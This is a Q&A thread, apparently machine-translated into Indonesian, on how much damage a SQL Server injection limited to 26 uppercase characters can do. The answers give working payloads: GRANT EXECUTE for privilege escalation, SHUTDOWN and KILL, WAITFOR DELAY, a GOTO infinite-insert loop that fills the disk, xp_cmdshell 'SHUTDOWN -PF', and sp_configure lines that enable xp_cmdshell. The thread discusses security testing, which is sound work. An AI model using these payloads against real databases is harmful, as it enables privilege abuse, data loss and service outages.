Injeksi SQL Server - berapa banyak kerusakan dalam 26 karakter?

Saya sedang menguji ketahanan terhadap serangan injeksi pada database SQL Server.

Semua nama tabel dalam db adalah huruf kecil, dan susunannya adalah case-sensitive, Latin1_General_CS_AS .

String yang dapat saya kirim dipaksa untuk huruf besar, dan panjangnya bisa maksimum 26 karakter. Jadi saya tidak dapat mengirim DROP TABLE karena nama tabel akan menjadi huruf besar dan dengan demikian pernyataan akan gagal karena pemeriksaan.

Jadi - apa kerusakan maksimum yang bisa saya lakukan dalam 26 karakter?

EDIT

Saya tahu semua tentang kueri parameterised dan sebagainya - mari kita bayangkan bahwa orang yang mengembangkan front end yang membangun kueri untuk dikirim tidak menggunakan params dalam kasus ini.

Saya juga tidak mencoba melakukan sesuatu yang jahat, ini adalah sistem yang dibangun oleh orang lain di organisasi yang sama.

Mudah:

GRANT EXECUTE TO LowlyDBA

Atau, saya kira dalam hal ini akan

grant execute to lowlydba 

Pilih variasi Anda untuk ini.

Kemungkinan Anda dapat menguji ini sekarang terhadap sistem Anda saat ini, tetapi sejumlah perubahan kecil dalam database dari waktu ke waktu dapat membatalkan pengujian Anda. String karakter dapat berubah, seseorang dapat membuat prosedur tersimpan dengan huruf kecil yang memiliki potensi destruktif - apa pun. Anda tidak dapat mengatakan dengan keyakinan 100% bahwa tidak ada serangan 26 karakter destruktif yang bisa dibangun seseorang.

Saya sarankan Anda menemukan cara untuk membuat pengembang mengikuti praktik keamanan terbaik standar industri dasar , jika hanya untuk kepentingan Anda sendiri sebagai seseorang yang saya anggap setidaknya sebagian bertanggung jawab jika pelanggaran keamanan terjadi.

Edit:

Dan untuk kejahatan / kesenangan, Anda dapat mencoba mengaktifkan setiap bendera jejak. Ini akan menarik untuk diamati. Rasanya seperti posting blog Brent Ozar akan membuat ...

DBCC TRACEON(xxxx, -1)

The SHUTDOWNperintah atau KILLCommand (memilih nomor acak lebih dari 50) keduanya mengambil secara signifikan kurang dari 26 karakter, meskipun account mengeksekusi query aplikasi mudah-mudahan tidak memiliki izin yang memadai untuk menjalankan ini.

Anda bisa membuat tabel yang kemudian Anda isi sampai akhir waktu atau ruang disk habis mana yang lebih dulu.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

Bergantung pada definisi kerusakan Anda, Anda dapat menjalankan ini: WAITFOR DELAY '23: 59 'Agar benar-benar jahat, Anda dapat menggunakan alat pengujian beban untuk menjalankannya dari 32.768 klien.

Variasi berdasarkan jawaban @ MikaelEriksson dan @ MartinSmith membalas komentar awal saya:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Awalnya saya sudah mencoba membuat pernyataan WHILE, tetapi yang terbaik yang bisa saya lakukan adalah 27 karakter:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

Tetapi Martin menunjukkan GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... akar semua kejahatan dan pembuat pernyataan penyisipan infinite-loop dalam 26 karakter.

Dengan mengatakan itu ... mungkin menguntungkan untuk tetap menggunakan CHAR (99) daripada int karena itu akan menggunakan lebih banyak ruang. Pilihan lain menggunakan nama yang lebih panjang dan akan menghancurkan batas 26 karakter ... atau menggunakan lebih sedikit ruang penyimpanan per baris.

Kode Uji Lengkap:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

Bergantung pada seberapa merusaknya Anda anggap sebagai power-down. :-)

Ini membutuhkan xp_cmdshell untuk diaktifkan di server, sesuatu yang tidak berlaku untuk beberapa versi terakhir dari SQL Server. Ini juga mensyaratkan bahwa akun layanan memiliki hak mematikan, yang mungkin atau mungkin tidak dimiliki.

Mengaktifkan xp_cmdshell mungkin melampaui batas 26 karakter Anda. Apakah Anda mengizinkan beberapa suntikan?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE